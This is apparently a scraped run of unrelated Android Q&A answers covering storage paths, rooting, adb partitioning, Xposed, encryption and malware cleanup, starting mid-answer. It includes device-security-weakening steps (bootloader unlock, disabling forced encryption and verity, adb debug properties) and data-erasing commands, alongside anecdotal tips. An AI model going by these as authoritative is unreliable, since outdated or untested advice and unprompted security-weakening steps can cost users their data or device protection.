(the first user – in my case the only one). Second, where you usually look for it:

/sdcard -> /storage/emulated/legacy

Same game again. So for the emulated SD card (aka the "internal SD card), the Android system takes care to map it accordingly for the current user. Not sure about the external SD card (if that e.g. could be used to share data between multiple users). This is usually found in /storage/sdcard1:

$ mount | grep sdcard
/dev/block/vold/179:65 /mnt/media_rw/sdcard1 vfat […]
/dev/fuse /storage/sdcard1 fuse […]
$ ls /mnt/media_rw/sdcard1
/mnt/media_rw/sdcard1: Permission denied
$ su -c "ls /mnt/media_rw/sdcard1"
[data from external SD card]

So you can see the external SD card can only be accessed directly with root powers, why "ordinary users" have to go via a FUSE mount overlayed on that. So the system again might take care that each user can only access his/her own data in that place. I'm not familiar enough with the internals to say for sure (or even to say what exactly is done there).

Now for your explicit question, whether files created in /storage/emulated/0 supposed to appear in /storage/sdcard0: Assuming you're speaking about /mnt/shell/emulated/0 (I couldn't find /storage/emulated/0 on my device), empirically they of course do, as both are the very same location: /storage/sdcard0 -> /storage/emulated/legacy -> /mnt/shell/emulated/0 – which means that /storage/sdcard0 shows what's contained in /mnt/shell/emulated/0. But your concern is unwarranted: due to the "middle-man" (/storage/emulated/legacy), /storage/sdcard0 always points to the storage of the "logged-in user" – so if e.g. the second user looks there, (s)he will see what's in /mnt/shell/emulated/1 (or which ever his/her emulated storage area is).

So as a PS, let me sum up things from the comments, as a short FAQ:

I wonder what would happen if a different user tries to access and save data in a different user's emulated storage?
He receives an error message that it's either not there or not accessible.
Why are these symlinks needed?
Multiple reasons, many of them historical (one word: "compatibility").
What are those symlinks and how do they work, in laymens terms?
They are basically "signposts", saying "please look there". Other than you initially assumed, they don't contain any data themselves – they are really only signposts or "pointers". The data itself resides at the "targeted location", and only there. For more details, please see the Wikipedia article on symbolic links.

Also see:

Accessing the File System
Let's clear up the confusion regarding storage in Android once and for all, including adoptable storage in Marshmallow.
How does the multi-user feature work in terms of paths on Android?
(contains another little FAQ, not only for developers)
The Storage Situation: Removable Storage
Storage (Android documentation)


How to prepare for upgrade to Jelly Bean - Droid Bionic

You can use Carbon to backup your applications data. If your devices is rooted you can make a complete nandroid backup using CWM.


The latest version the Twitter app supports for Android 4.1+ is 6.39.0 (March 22, 2017).

Play Store prevents app installation if it is incompatible with the device (as of January 2020, AppBrain shows the minimum of Android 4.4+).

One way to install old apps is by downloading the APK and installing it. The APK is available on APK Mirror. The device also needs to be set to allow installation from unknown sources.

Note that even if it is possible to install the app, there is no guarantee that the app will work smoothly since it also depends on the current Twitter infrastructure. In that case, it is also possible for some browsers to create a shortcut on the home screen to the Twitter site.


You also need to copy the busybox binary to /system/bin and /system/xbin. This may be the only step you're missing. Also, you only need one of superuser or supersu.

edit I was wrong, although for anyone else following along, the busybox binary from busybox.net includes su, which I thought was pretty cool. Anyway, it seems that rooting a modern android phone takes a bit more work. I took a look at the supersu zip, and from what I can tell, it creates a whole new ext4 system image and mounts it at /su. It also installs a few system daemons and initialization routines.


How do Gmail (desktop) and Talk (Android) chats interact?

To provide some background on this question, google talk uses xmpp (aka Jabber) which is an open Instant Messaging standard.  As a part of this standard, every instant messaging client (chat in gmail and the android talk app) is assigned a Resource.  The server then uses the resource to know which client is communicating.

This is how the interaction works:
Say your gmail account is bob@gmail.com.  Then gmail chat might be bob@gmail.com/gchat and
the talk app bob@gmail.com/talk

When your friend Sue (sue@gmail.com) wants to send you a message, she simply sends it to bob@gmail.com.  At this point, the server either sends the message to whichever client you used last, or sends the message to all currently connected clients (google does the latter).

When you reply to Sue using the talk app, she receives the message from bob@gmail.com/talk.  Now, instead of sending further messages to bob@gmail.com, Sue's client now sends messages directly to bob@gmail.com/talk and will continue doing so until a message is received from some other client.

This means that what Saiboogu said should work.  That is, to switch between clients, send a message to the person you are chatting with from the desired client.

tl;dr: This happens by design, Saiboogu's workaround works.


How can I make a call to an SIP address from Google Voice number?

The answer is no. Google voice is no longer accepting SIP traffic. See here for more info.


In case of Android browser (AOSP) and Chrome there is an option called Request desktop site. This can be accessed via the options menu for the browser. That would change the browser user-agent to desktop and display the website as displayed on PC.

But this has to be done for each tab I believe, there is no permanent solution.


I turned off some apps that were necessary, now things dont' work

Turn on all apps names Google

Favorite contacts

Story Album Widget

CapibiltyManagerService

Multimedia Ui Service layer

MobilePrintSvc_CUPS

MobilePrintSvc_CUPS_Backend

com.android.provider...


Assuming there is a cable that can bridge HDMI into the Android device: does Android support wired HDMI capability? What is the nomenclature for the capability?

Nothing in the Android Compatibility Definition Document indicates that such a feature is supported by Android.

Consider that HDMI inputs on a PC is usually done via specialized capture cards and that you are asking for physical input to device which normally operates on battery. Remember that any hardware that isn't being sold/used as a 'feature' is a waste of space and power on a phone.

  Bonus: can the same thing be done from the raspberry pi's USB port? That is, direct the video out through a USB port, through a USB cable and into the Android device for display?

You would need VNC but this thread indicates that it is possible over USB:
https://www.raspberrypi.org/forums/viewtopic.php?t=105336


Does rooting a device and installing a custom ROM SIM unlock it as well?

No, rooting your phone will not let you use it on other carriers. If you have a good standing account with tmobile, and I believe you have to have been a customer for like 9 months (or something like that), you can call them and tell they you are going out of the country and want to be able to use an international sim card. they will give you the code you need to unlock your phone so you can use it on other carriers.

You will not get 3G data speeds unless the carrier uses the same bands that tmobile does. for example, AT&T does not use the same bands, so you will only get EDGE.


Will new Play Store minsdk restrictions prevent my phone from accessing new apps?

No, that requirement is the target SDK level not the minimum.

  Target API level is different from minimum API level. As the name implies, minimum API level is used to declare the lowest version of Android an app supports. The target API level is technically defined as the version of the operating system an app was tested to work with; but in more practical terms, it's used to define a set of behaviors an app expects from the operating system. For example, an app can target API 26 (Android 8.1) while having a minimum API of 14 (Android 4.0).

Source


Installing Lollipop in unlocked Moto G 1st gen

If you have a custom recovery installed, you can wipe your device and install CyanogenMod. The latest nightlies are 5.0+. We won't be able to give you a link however, because you didn't let us know where you are located. Which model of the first gen do you have?


Bug report and Settings crash on Nexus 4

Don't know about Settings issue but the bug report thing is pretty popular: Google's devices do a report now and then (don't ask me why.... maybe those reports are sent to Google to keep everything under control or to check if something goes wrong) so just don't worry.
On my Nexus 5 I can even make a bug report everytime I want (just by pressing power+volume up at the same time) and you should have the same feature.
It basically depends on the activation of USB Debugging: if it's active, then the bug report creation is active.
You can disable it by simply disabling USB Debugging or by going into /system/bin and renaming bugmailer.sh to bugmailer.sh.bak or deleting it. Then just reboot and no more bugmailer.
Let me know if this helped you someway :)

P.S.: for the Settings issue just try the simplest thing: go into the app drawer -> long press on "Settings" app -> move it to the upper side (App Info) -> clear data.
I feel optimistic and think the problem will disappear ;)


VBR is not the problem here. I've had no problems playing VBR MP3 files in any music app.


If you don't have data service at all on your secondary SIM, you can't download the SMS. Since the SIMs are from different carriers, the primary SIM can't connect to the other carrier's MMS service, and therefore the message can't be downloaded.

The only solution would be to replace your primary SIM with the secondary one, establish a data connection and download the MMS. Otherwise you can't download it.


Photo recovery from a MotoX phone with black screen

Your phone still works, so you got lucky.

Plug the device into a PC/Mac and navigate the phone's file directory. Look for the root folder "DCIM". All of your videos and photos should be in there.


Go to recovery mode on device without volume key

You can use apps like Quick Boot or Rebooter or some root apps have this feature to go to recovery mode.. Use them


How do I delete draft SMS text that keeps reappearing on my HTC Thunderbolt?

Go into Settings -> Applications -> All -> Messages.
Clear the cache and the data for the app the restart the device.

I was having the same issue with messages to my wife and it cleared it up.

Hope this helps!


I used AutoRec on my LG Gpad 7.0 LTE and it wiped my storage

Change camera mode PTP to media mode MTP type connection...then you will be able to see the storages of internal & external as  removable device ..
Go to setting > usb connection
There you will find the option to change connection mode


Follow this video tutorial for the Galaxy S4 stock email app, and make sure you activate Sync Email option.

Maybe you'll have to remove and re-add your email account. Also you can try with other email account(s) you have, in order to discard an issue of Verizon's own mail servers.


I've checked the settings in my devices as I knew I've seen it somewhere.

On my Tabbies with 4.1.1: nothing found.
My Wildfire with 4.0.4 running CyanogenMod 9.1 has it in the Audio/Tone menu as Vibrate on touch
my Milestone 2 (CM7.2/Gingerbread) has it at the same place as haptic feedback
LG Optimus 4X (aka LG-P880) running stock 4.0.3: Again same place, Vibrate on touch

So the location of this setting seems to be quite clear -- but some manufacturers seem to have the setting removed/hidden. If your device belongs to that group, take a look at Spare Parts Plus! (no ads), which offers this setting at the end of its main screen as haptic feedback (the app is free and has no ads).


in ICS 4.0.4: Open stock browser, click Menu, click Settings, from the list, got to Advanced section, about middle of page, click on Default Zoom and select Medium.

in other versions, if available, it is somewhere near that!


What are 'dup0' files in the photos folder?

Rename the file with the appropriate extension and find out(ie rename img1.dup0 to img1-1.jpg and open it). In the case of the image files I think they are the corresponding thumbnails since the size is small


quite a strange thing, considering the fact that your phone is new.
well, there are basic steps to deleting contacts:

From a Home screen, swipe up from the center of the display to access the apps screen.
Tap Contacts Contacts icon.
Select the desired contact.
Tap the Menu icon Menu icon (upper-right).
Tap Delete.
Tap Delete to confirm.

maybe if the phone is required for content to be deleted, you could try add some random number just to refresh the contact? vfwbe then you will manage to delete it...


What are the steps for rooting an Android device, in general?

There are a few parts to the process:

Unlocking or bypassing any bootloader protection, allowing the system partition to be written
Installing the relevant binaries to acquire root.

Both of these stages can vary from phone to phone, but here are a few examples:

Unlocking the bootloader

On many OEM phones, this traditionally involves exploiting a vulnerability in part of the system in order to rewrite certain partitions. Sometimes it will mean flashing a new bootloader, a new recovery (this is becoming common) or temporarily booting from an image over USB, in order to gain recovery access to the system partiton.

On the Nexus range of phones, and the development phones that were released by Google, it is as simple as running "fastboot oem unlock", though this will wipe the phone. Also, bowing to pressure from the development community, many manufacturers now offer an official route to unlocking the bootloader.

Installing the root binaries.

Once the system partition has been cracked then the rest is fairly straight-forward. It basically means installing the 'su' binary (this escalates to super user permissions), and an apk which provides an Android front end to 'su', and prompts the user when an app is requesting root permission.

There are several approaches to this second stage. The most common has been to use a pre-rooted ROM provided by the community. There is often a choice, from the stock ROM provided by the manufacturer and then tinkered with to add the binaries, through to a whole range of AOSP (Android Open Source Project) ROMs, such as CyanogenMod (one which I contribute to).

There are some other methods. For example, some phones (eg Galaxy Nexus) can use a "superboot" bootloader, which tinkers with your existing ROM as bard of the boot process. It is flashed to your phone using the fastboot program.

Typically there will be a single favoured approach for any particular phone.


The short answer is: No, they are not the same.
The long answer is as follows:

At least for dimensions, they are not exactly the same (HTC One XL, to the right, is a bit smaller)

Also, from the comparison table you talk about:

HTC One X AT&T wouldn't support HSDPA 900, while HTC One XL does.
HTC One X AT&T supports 4G network with LTE 700 MHz Class 17 / 1700 /
2100, while HTC One XL does it with LTE 1800 / 2600.
HTC One X AT&T supports Mini-SIM, while HTC One XL supports Micro-SIM.
HTC One XL has Stereo FM radio with RDS, while HTC One X AT&T does not.
HTC One XL has 32 GB internal storage, HTC One X AT&T has 16 GB internal storage.

Sources:

Left image: HTC One AT&T at HTC US website
Right image: HTC One XL at HTC Australian website


Have you tried a sideload?

I found I couldn't do anything after loading an initial release of the Ubuntu for phones OS and a sideload revived my Galaxy Nexus.


transfer contacts from sd card to computer via USB

Pretty easy to do, and probably explained in some other answers here already:

Open the Contacts app
Hit the Menu button/key, and chose "Export/Import"
Select "Export to SD card" (creates a file named something like 0001.vcf in the root of your SD card)
Either shutdown your phone and connect the SD card to your computer with a card reader, or connect the phone via USB (storage should show up there then)
copy the 0001.vcf file to your computer

*.vcf is a file in VCard format and can be read by many applications. So you can import it into the software of your choice (or transfer it to your new device to be imported there) and check whether all contacts came along. In case the SIM contacts are missing, you might need to first copy them into your device's own contacts.


Is there really no true FM radio without earphones?

The Redmi Note 9 radio works without earphones plugged in.
Does not do much else like work as a phone but the radio works.


There's some weird storage nonsense going on, as if part of an app's data is permanent on your phone?

We can't tell how you are freeing the storage. If you are using any third party app then it will free the caches of whatsapp. In which case no one can say how much storage is used by your whatsapp cache. Whatsapp it self deletes some caches when there is no need of it. So, if it's cache then it's totally normal.
Other than that you should look into Whatsapp's media folder where all your images,audio,video and docs are stored.


As you don't give any example, we need to guess. I doubt it's for "stopping themselves" for the call dialog like Amit suggests (as a background "live wallpaper", they don't need to do that specially for call dialogs: either they generally need it for any dialog, or not at all). I rather suspect some ad module behind this (see my answer here for details). For ad modules, the combination of INTERNET and READ_PHONE_STATE are quite usual: the former to retrieve the advertisement material, and the latter to access your IMEI for identification (good cop: to know which ads you've already seen so they are not repeated too often; bad cop: to get IMEI, IMSI, your phone number, phone numbers you've been in contact with -- so a profile can be built).

Note that the developer of the app (or live wallpaper in your case) has no control at all what those ad modules do. All he can do is to take care to chose a "good one", and avoid the "more malicious" ad modules.


Apparently the Lotus Notes Traveler app makes itself the Device Administrator on the phone.  You need to disable this before uninstalling it.  The following quote is from Lotus FAQ:

  You should uninstall Lotus Notes Traveler by launching the Lotus®
  mobile installer application, then selecting the Lotus Notes Traveler
  application and choosing uninstall.

  If you choose to uninstall
  manually and your device is running Android 2.2 or above, you must
  first disable the device administrator. To do so, select Menu >
  Settings > Location & Security > Select device Administrators. After
  you have disabled the Lotus Notes Traveler device administrator, you
  can use the operating system to remove Lotus Notes Traveler, by
  navigating to Menu > Settings > Applications > Manage Applications.

  You can uninstall Lotus Mobile Installer using the normal method for uninstalling
  applications on your Android device.


Shortcut key to hide all windows on Samsung DeX

Hit Meta+Enter.

To view more shortcuts, hit Meta+!.

Pro-tip : do it from Chrome and you'll see Chrome's shortcuts as well !


HowTo : Android ICS Tethering & sending SMS from desktop

The nice thing about Android is that there are many geeky Apps available. Some of them are even open source and free. So there are many different Apps for your task. Here are the ones I am aware of:

Android Remote Notifier

Project Page - Play Store
Forwards and send text messages via bluetooth

GTalkSMS

Project Page Forward and send text messages via XMPP

Other

Can be found in the related questions on Android Enthusiasts:

How do I send SMS from PC through Android Phone or to Android Phone?
How can I be informed through my computer if a new SMS is received?


The first thing you want to do after clearing all Proxy configuration settings from your phone is reboot your device. Also, if you're connected to a specific WiFi network, press and hold the network name and "Forget Network."  Re-configure your WiFi settings with its regular password and it will clear Proxy settings.


Short answer: it's not possible because this popup come from the SystemUI or from the Framework apk.
It's not come from a file that contain a setting, it's a JAVA runtime code.

Some customs ROMs could integrate it (not sure), but it's not the case of Android stock.


over a simple password screen lock: nobody can take the internal memory of my phone out of the phone itself. So what is the advantage of 1. over a simple screen lock with password + SIM code lock?

Understand that encryption is used to protect the data from unauthorized access (device misplaced or lost or alike situations). If you are sure that the device would not fall into wrong hands ever, you don't need the encryption.

As for the quoted text: some devices have their bootloader unlocked; some others don't even have this concept (such as MTK devices) in which case a custom recovery (a bare-bone OS) can be loaded into the Android device which would grant complete unrestricted access to your data  if it was not encrypted.

Alternatively, if a PC has access to your device through ADB (think of Android versions prior to JB) than your data is available to that as well.

Some might even go as far as taking out the emmc or the type of storage in your SoC and use it somewhere else. What would your screen lock do if Android is not booted into? Nothing!

  In which precise situation would a thief be defeated by an encrypted device whereas he wouldn't be with a standard screen lock with password?

A custom recovery now cannot gives access to your data since it remains encrypted. The thief however can brute force the encrypted partition. Depending upon the power of the machine(s) they've got they may be able to find the key to decrypt the data.


Unable to Downgrade after upgrade to Android M from Android L

Seeing the exchange of comments in other answer and the link provided, the problem is with SuperSu:

Version 2.62 ( from memory) is normal SuperSu

Version 2.76 is system less root, which provides root without modifying system partition. My device is rooted with this and I had the same problem.

Systemless root requires different treatment.

First thing to do is shut the device by adb shell reboot -p . Next is to boot into recovery, enter TWRP terminal and key ''echo SYSTEMLESS=true>>/data/.supersu'' without quotes ( I had read of this in this XDA post

After this reboot into recovery for custom recovery to replace stock. Else in some current devices the custom recovery is replaced by stock. See this for more Booting into twrp unsuccessful


Accented characters show up as Chinese characters in KitKat Cyanogenmod, had no issues in Jellybean

So I reflashed a different version of the ROM manually using ClockWorkMod (I used the Cyanogenmod application on Windows before) and now it works. Unfortunately don't know the version numbers, so was either a ROM issue or an issue in the Cyanogenmod Windows application.


Dead spots on touchscreen: Could it be related to software corruption?

First thing flash stock ROM to check the issue and most probably in these cases its a hardware fault as you described you have dead spots on touch they can be due to pressure of some kind which can also cause touch to get damaged too , to be sure flash with factory/stock ROM and see if things change or remain same


Not until she accepts your invitation. That's part of the point of that feature: to prevent strangers from merely adding you and knowing if you're online.


How to change android primary google account

I believe I had a similar problem.
I just bought the Moto X on Verizon.  I linked 3 Google accounts to this phone (including my wife's to sync our calendars.)
The phone chose my wife's account as the primary so when I sent text messages they would be sent from my wife's Google account.
SOLUTION:
I went into the Google+ account app, logged out of her account and then the phone asked me which one to log into.
Problem solved to change my primary account without factory reset.


Link2SD doesn't work on Marshmallow: No such file or directory

Marshmallow internal storage can be better used with a mixed-format SD card as I also explain in my blog here:

http://blog.sam.liddicott.com/2016/02/android-6-semi-adopted-storage.html

First, you need adb working.

Have SD card inserted and formatted as portable.
Eject your SD card from the Storage & USB menu
Use "adb shell" to list your adoptable storage:

like this

$ adb shell sm list-disks adoptable

disk:179_64

disk:179_64 is my SD card that can be made adoptable, I want 75% as external SD:

$ adb shell sm partition disk:179_64 mixed 75

Note: Your card may be listed with a comma instead of an underscore, e.g. disk:179,64 in which case, that is what you type:

$ adb shell sm partition disk:179,64 mixed 75

This will erase the entire SD card, giving 75% as portable storage and the rest as adopted internal storage.
Reboot your phone.
From Storage & USB menu, select the SD card (internal) and choose Migrate Data (so that apps, where possible, are installed there).
From the Storage & USB rename the adopted storage to have some name like Adopted otherwise if it has the same name as the external storage partition, the USB MTP view may only show the internal


There are tons of apps that do batch uninstalling but here's a simple free one that I know works: Uninstaller Pro

A lot of the more full featured app managers also have a batch uninstall option.  I like to consolidate functions into as few apps as I can.  Now I use SmartBar which has a good app manager with batch uninstall.


If you are rooted, you will not have any chance to get OTA updates. Only after complete unroot or reset makes device Official again.

You are required to do the process again(to make user app as system app).
Google apps for that android version will be provided by the manufacturer(Motorola).
Simply unrooting won't make it official again. That's why you have got some problems on Google account


Delete incomplete download from Play Store

You don't need to delete that. If an error occurs and download is interrupted the Android OS itself deletes that file(It consider it as garbage).


I'm having trouble making a custom ringtone

answer taken from the question:

  The Dropbox app actually lets you download stuff onto your phone. Once
  I did that, the phone's ringtone manager let me use it fine.


The issue is that the Play Store falsely linked some apps to your account that you installed from third-party sources.

This has been in some 3.5.x version, and now it works as expected.


What is the application space limit on Galaxy Nexus?

Yes you have full 16GB for apps+data together in a single file system. You won't have to do any moving to SD card any more.
Google merged both partitions. It's just one big file system now with sections for the former parts. It's completely transparent, so no worries for you.

Formerly: /data and /sdcard were separate partitions
Galaxy Nexus / Nexus 7 and others running Jelly Bean: One single partition for both, i.e. no need to decide how to divide the space for both any more.

To make it more generic:
The partition layout will however not change for former phones (most probably), so devices which got upgraded to 4.x+ will still have separate file systems for both /data and /sdcard. If your device has an additional micro SD card this will also be separate still.

By the way: This is the reason why there's no USB-thumbdrive functionality any more for the Galaxy Nexus (because /sdcard is not a single partition any more and also there's no FAT32 formatted partition internally (except for SD cards if existent))


Why is my Samsung Galaxy S constantly dropping its wifi connection?

I would start at the router and look there first. Do a reboot of the router and see if it still happens. if it does, there should be logging in the admin of the router that you can turn on (if its not already) and maybe you can see something causing the drop.

Try getting Wifi Analyzer from the android market (free) to check if your router is on the same channel as other networks around you. try to put your router on the "clearest" channel.


How to prevent buttons from activating screen

If you did not find anything related in the settings, a solution could be to install a custom ROM (such as CyanogenMod). They often provide a much wider set of settings, and I remember having seen something like "Menu button wakes phones on/off" on some of my older devices.


Originally posted by @ott-- in the comments, this answer did the trick. I'm posting it as an answer since ott-- hasn't.

  Isn't the target named /sdcard or /storage/sdcard and not /system/sdcard?


You can use kiosk mode for that. The simplest way to set up kiosk-mode on Android is to use Google's Android Management API which works for any Android devices running Android 5.1 or above.

To lock the device on one app, or on multiple app, you define a kiosk policy like below, it will disable the navigation buttons (sample copied from Create a policy):

"applications": [
 {
   "packageName": "com.example.app",
   "installType": "FORCE_INSTALLED",
   "lockTaskAllowed": true,
   "defaultPermissionPolicy": "GRANT",
 },
"persistentPreferredActivities": [
  {
    "receiverActivity": "com.example.app/.com.example.app.MainActivity",
    "actions": [
      "android.intent.action.MAIN"
    ],
    "categories": [
      "android.intent.category.HOME",
      "android.intent.category.DEFAULT"
    ]
  }
]


Can I store contacts on my SD card? How?

As far as I know, all contacts in Android stored in a SQLite database inside the private folder of the "Contact Storage" app. The location is at /data/data/com.android.providers.contacts/databases/contacts.db

So if you have root access to your device, it is theoretically fesible to either bind a folder on your SD card to the above location, or it is possible to make the above folder a symbol link (soft link) to a location on your SD card.

However, this is not recommended because the stability and performance of your device can be affected. For example, if you connect your phone to PC and mount it as drive, the SD card is temporarily unmounted on the phone.  Another risky situations is when you boot your mobile phone and before the SD card is mounted. The Contact Storage app may try to access the contact list (maybe for caching some of the favorite contacts, or maybe someone call you) during this period, all these may not be expected by the Contact Storage app and could result in unpredictable result (e.g. a dirty state of the app which make your contact inaccessible).


How to report potential abuse in Aptoide without becoming a member?

First: Different sizes do not necessarily mean the bigger one is infected with malware. Or rather, that might depend on your definition of malware: F-Droid compile .apk files themselves, and while doing that, often exclude proprietary parts – such as ad modules.

Second: Aptoide has security checks running on their .apk files. You should find a shield in the app description: Green = checked and OK, Yellow = checked and something suspicious found, Red = checked and infection found1. You can also find details on the checks, where e.g. signatures are compared with other markets (usually Google Play).

Third: Different repositories at Aptoide have a different trust-level. For example, the repository named "Apps" is manually curated by Aptoide staff, and hence quite trustable.

Forth: You can contact Aptoide via a form on their website. You'll have to reveal an email address for that, so they can contact you back.

Fifth: For more details, please see How safe is it to use Aptoide?. Especially check this answer from Paulo (co-founder of Aptoide) and my own answer.

1You will never find the red shield, though – that's only visible for staff. At the same time a red shield is attached, the app is made unavailable for the public.


I have wrote an app for exactly this :). It listens on port 5554 and accepts "geo fix" and "geo nmea" commands - ie. compatible with the android emulator.

app store: MockGeoFix and source code

  And btw how do I know the GPS module of my device doesnt overwrite my set mock location?

You disable all other sources of geolocation except GPS and you mock the GPS.


All I know about "disabled apps" is when the device is booted into Safe Mode.

Maybe your device is on Safe Mode.  This happened, when you "accidentally" pressed a button on your device while booting up.  Try checking, if it has a "Safe Mode" displayed on your screen, usually at the corners.

Rebooting the device normally would surely fix the problem.


Where is the mic located on Samsung Galaxy S2

This is the mic on the Samsung Galaxy S2

And this is another mic on the top. In the user guide it says that it is a "mouthpiece" I presume by that they mean a microphone that is only active when you use the speakerphone feature or record videos or when the user is on a video call.


Updated Galaxy Note 8 to 4.2.2: can't pair with Bluetooth devices afterwards

In fact, the problem was resolved by doing a second factory reset. Looks like it's wise to do the factory reset several times before declaring the problem. Do this before setting up your screens with your widgets etc. organised and make sure you have a backup.


I have both the Iconia A500 and the Transformer TF101. Both output just fine to TVs with HDMI.

There is a little bit cropped off the image in both cases and the home - back - recent buttons don't show on the TVs, nor does the notification panel, all suggesting that it isn't really an external monitor type feature, only to play back movies etc on the big screens.


Set recurring notification for sms message

The two more popular SMS apps in the market - Handcent SMS and GoSMS have options that allow you to set reminder tones and LED flashing to alert a user to unseen messages. Lots of configurable options in both apps.


What are ways of contracting malware/viruses on your Android phone?

Downloading and installing an app that contains malware.

That is all. If you don't want malware on your phone, just don't install malware on your phone. That means:-

When you click install on Google Play (or another app store), check the permissions. If the app asks for permissions you weren't expecting, don't install it. It's commonplace for malware authors to upload fake apps that appear to be popular or trendy games or apps, but are in fact imitations that install or contain malware. Google is pretty good at taking them down these days, but they still appear for a while. Genuine software vendors are happy to explain why they need each permission they ask for, so if you're not sure, check if the app description has a plausible explanation, and/or contact the vendor.
If you're visiting a website and it unexpectedly downloads an APK (an Android app package), don't install it. Just delete the file.
Don't install apps from warez sites. There used to be a lot of 'reputable' warez on Windows, that actually were the software they claimed to be, but on Android most of the warez sites are just viruses with different names.
If you're not expecting to install apps from APK files you got elsewhere, go into the settings, in the Security section, and turn off installing APK files from Unknown sources. You can always turn it on again when you need to.

Apart from that, on Android you still need to apply the usual security precautions you'd take with websites and emails to avoid phishing attacks and scams. Check who the sender is, check what domain you're looking at or what domain the link points to. Even if a message appears to be from someone you know or an organisation you trust, it could be malware posing as them, so think about whether you'd expect them to send this message.


Whatsapp has removed that feature for sometime now (i.e using photo from phone contact). When you upgraded Android you must have also downloaded the latest version of whatsapp. I liked the feature.

Did anyone find a way around for this..?


Base off of your description, it appears to be a RAM issue.

While 1GB RAM is usable for some games (from personal experience), some games will crash on the loading screen due to too little memory (I've experienced it with other games as well).

The best way to stop this is to lower the quality settings, if possible. Try Low or Very Low to use less RAM.

If that fails, try an app hibernating app like Greenify. (This app works on non-rooted phones, but needs root in order to be more efficent). This will reduce the amount of background apps, freeing up more RAM.

If the above fails, try getting a better phone. There are a lot of phones on the market with 2GB RAM or more at the moment.


Where can I find the Xposed Framework for Nougat and Oreo?

Last Updated: March 30, 2018

You can follow the Xposed Framework to monitor) community on Google+ so you can keep up to date with the news.

Update 3

Xposed for Oreo 8.0/8.1 is available in beta.

Update 2

Official Xposed v89 for up to SDK 25 (Android 7.1) is available as of December 17, 2017. A new version of Xposed Installer is available as well. rovo89 says the Xposed for Oreo is almost complete:

  95% of the code are ported, basic functionality is working on Genymotion. The remaining 5% are obviously those parts of the code which are more difficult to port. I literally just upgraded my primary device to Android 8.1, so I can hopefully start some real testing soon.

Update 1

Official Xposed v88.1 for SDK 24 and 25 (Android 7.x) is available as of October 10, 2017.

Original Answer:

An unofficial build of Xposed Framework is available from XDA. I have tested it with my OnePlus 5 and it worked almost perfectly, except for some small bugs (random reboot aroung 3:00 AM when I'm sleeping, requirement for /data decryption).

The XDA newsfeed article is here and the thread is above.

  Important Notice
  If you are using your stock ROM, make sure your /data partition is decrypted. If it's encrypted, you may have to format it. Be sure to back up your data carefully before proceeding. Also you should flash a "DM Verify and Forced Encryption Disabler" package.


Your location was probably pulled from wifi only, as opposed to GPS (this saves battery; you can check this setting in settings > Location > mode).  The wifi setting pulls its location information from the ISP, rather than your actual physical location.  Mine frequently tags me a dozens of miles away.


enabling usb debugging in recovery mode in rooted android

Haven't tried it, but found this solution on xda:

Add to default.prop and /system/build.prop

persist.service.adb.enable=1
persist.service.debuggable=1
persist.sys.usb.config=mtp,adb

http://forum.xda-developers.com/showthread.php?t=2335799


Its possible, it is much easier if you have two devices (e.g 2nd smartphone, tablet or PC)

Create a mobile hotpot AP using the secondary device.
Once setup, connect the primary device (where you are going to setup chromecast) to the mobile hotspot AP and the TV
Setup the chromecast as normal with the primary device and since the setup is once off you don't necessarily need to use the secondary device after inital setup. The Chromecast stays configured to the hotspot's wifi until otherwise reconfigured.
The trick is to setup the Chromecast  and use the same WiFi settings when creating your hotspot. Chromecast doesn't look for a specific router as the source of the wifi signal. It just looks for hotspot name (SSID) and tries to connect using the stored encryption and password
The consequence is that you just use the same WiFi settings when configuring mobile hotspot for the primary device.

Acknowledgements

Chromecast Help Forum
Casting from Android device using mobile data?


Best Reading App for Personal PDFs which Remembers Last Location on an Android Tablet

I've done a little research myself and Aldiko looks excellent. I'm especially looking forward to using it on a tablet.


Does restoring a TWRP backup restore everything, including the ROM?

Yes, your earlier ROM will be fully restored as long as you backup system partition as well since that's where the ROM resides. If you wants your apps and apps' data, then you should back up data partition.

Note: Backup feature doesn't backup SDcard's content. If you delete all the data of the SDcard you will not be able to restore it.


Clear memory and recent task automatically after an app is closed using Tasker

I use Clean Master for this.

You can invoke separate parts of by holding the clean master button when using the launch app function.

then I used this booster

and I used this process cleaner

I know this works because I have an app that crashes on startup if there is insufficient RAM. When I use this it never crashes.

I hope it helps, even after two years.


Device wants desperately to install a package (com.google.system.s) on its own

From experience, flashing in any conventionally accepted way instantaneously bricks this Mpie M8. It takes a lot of efforts to unbrick it, too. So work with what you have, root it first so that the malware can be managed. When the auto-installation-without-permission starts, pull down notification and click on app info to see which system process is being hijacked and disable it immediately. As an example, mine shows Launcher and Android Service are involved. Have used a different launcher instead just to be on the safe side. Android Service, hiding in /system/priv-app as android_service_800000_0923_outsea.apk, appears the true culprit. Once deleted, the phone runs flawlessly. Of course your phone may have different malware in it depending on which malicious websites that you have visited. Good luck.


Why does this app not restore from Google Backup until I specify the set in adb?

bmgr restore package doesn't reinstall an app: it sends a signal to the installed app to make it restore its data from backup. If the app isn't installed, you get the error message you saw.

It's the Play Store app that's responsible for installing other apps. If you like, you can think of the list of installed apps as Play Store's backup data, and it restores from that backup by installing all the apps in the list. This takes some time and happens silently in the background, since the backup mechanism is designed to be invisible to the user.

It's possible that Play Store managed to install your target app in between your first and last bmgr restore commands, or that toggling bmgr enable triggered it to reinstall the app at that point.


Why the file path the phone tells me ,I couldn't find in 'adb shell'?

* is being processesd by YOUR zsh. There's no /storage/... path on YOUR system, where you're running the adb commands. zsh cannot possibly know that you're trying to talk to an android device, so it's trying to expand the wildcards using local system paths. Since that path doesn't exist, let alone have files in it, it's properly telling you "no matches".

You probably want

adb pull '/storage/emulated/legacy/DCIM/Camera/*.*'

Note the '-quotes. They prevent zsh from seeing the wilcards AS wildcards - they'll be treated like plain text by the shell, and passed in to adb as literal text.


Hit the menu button.

It should then bring up the day/week/month view options.


How to install Yii framework in an android device?

PHP mySQL Server app is available for android device.

Install it and then download and generate your Yii project by using cmd, then copy that project to your android device WAMP root directory. For better development, install it on your pc.

Before running the command in the cmd, install php and make sure to set the php path in your system environmental variables.


Alright, found what I was looking for.

All apps that were stored in the SD card, are located inside this file:

/data/data/com.sonyericsson.home/shared_prefs/home_external_storage_apps_pref.xml

Thanks for all contributed comments!


SOLVED it by myself;
So the problem was with recovery partition size, now when I installed nougat rom it tried to install bootloader and modem and somehow messed up recovery partition, samsung phones has a restriction for that meaning you can't downgrade either your Binary or Kernel via odin or any other flashing tool for that matter. Not even with twrp, sometime back I also tried another nougat rom but that had an option of if you want to upgrade but this ROM just tried to do without prior asking and it wasn't also mentioned in the OP. So how did I figured it out after three days is by going through last_kmsg and logcat.
